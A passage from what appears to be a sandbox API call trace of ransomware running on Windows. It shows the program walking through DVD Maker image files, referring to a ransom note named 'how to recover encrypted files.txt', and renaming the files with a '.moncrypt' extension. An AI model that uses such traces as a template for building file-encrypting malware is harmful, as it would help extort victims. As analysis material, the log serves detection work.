lpUsedDefaultChar=0x0) returned 1 [0058.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.379] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.379] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.379] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.379] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.379] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.379] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.379] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.379] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.379] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.379] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.379] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.379] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png", cchWideChar=92, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.pnge", lpUsedDefaultChar=0x0) returned 92 [0058.379] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.379] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\ResizingPanels\\NavigationRight_ButtonGraphic.pnge", lpUsedDefaultChar=0x0) returned 4 [0058.379] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7083659d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7083659d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 0x54e280 [0058.379] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.379] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.379] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.380] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png", dwFileAttributes=0x20) returned 0 [0058.380] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.380] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_buttongraphic.png.moncrypt")) returned 0 [0058.380] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707c4186, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x707c4186, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.380] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.380] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.380] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.380] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.380] GlobalUnlock (hMem=0x44000c) returned 0 [0058.380] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.381] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.381] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.381] GlobalUnlock (hMem=0x44000c) returned 0 [0058.381] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.381] GlobalUnlock (hMem=0x440004) returned 0 [0058.381] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.381] CharLowerBuffW (in: lpsz="NavigationRight_SelectionSubpicture.png", cchLength=0x27 | out: lpsz="navigationright_selectionsubpicture.png") returned 0x27 [0058.381] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.381] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.381] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.381] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.381] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.381] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.381] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.381] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.381] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.381] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.381] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.381] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.381] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.381] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.381] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.381] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.381] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.381] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.381] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.382] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.382] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.382] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.382] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.382] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.382] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.382] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.382] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.382] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.382] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.382] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.382] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.382] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.382] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.382] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.382] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.382] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.382] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.382] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.382] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.382] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.382] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png", cchWideChar=98, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.pngt", lpUsedDefaultChar=0x0) returned 98 [0058.382] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.382] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\ResizingPanels\\NavigationRight_SelectionSubpicture.pngt", lpUsedDefaultChar=0x0) returned 4 [0058.383] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707c4186, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x707c4186, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 0x54e280 [0058.383] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.383] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.383] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.383] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png", dwFileAttributes=0x20) returned 0 [0058.383] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.383] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_selectionsubpicture.png.moncrypt")) returned 0 [0058.384] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7079e029, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7079e029, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.384] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.384] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.384] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.384] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.384] GlobalUnlock (hMem=0x440004) returned 0 [0058.384] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.384] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.384] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.384] GlobalUnlock (hMem=0x440004) returned 0 [0058.384] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.384] GlobalUnlock (hMem=0x44000c) returned 0 [0058.384] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.384] CharLowerBuffW (in: lpsz="NavigationUp_ButtonGraphic.png", cchLength=0x1e | out: lpsz="navigationup_buttongraphic.png") returned 0x1e [0058.384] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.384] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.384] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.384] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.384] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.384] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.384] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.384] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.385] WideCharToMultiByte 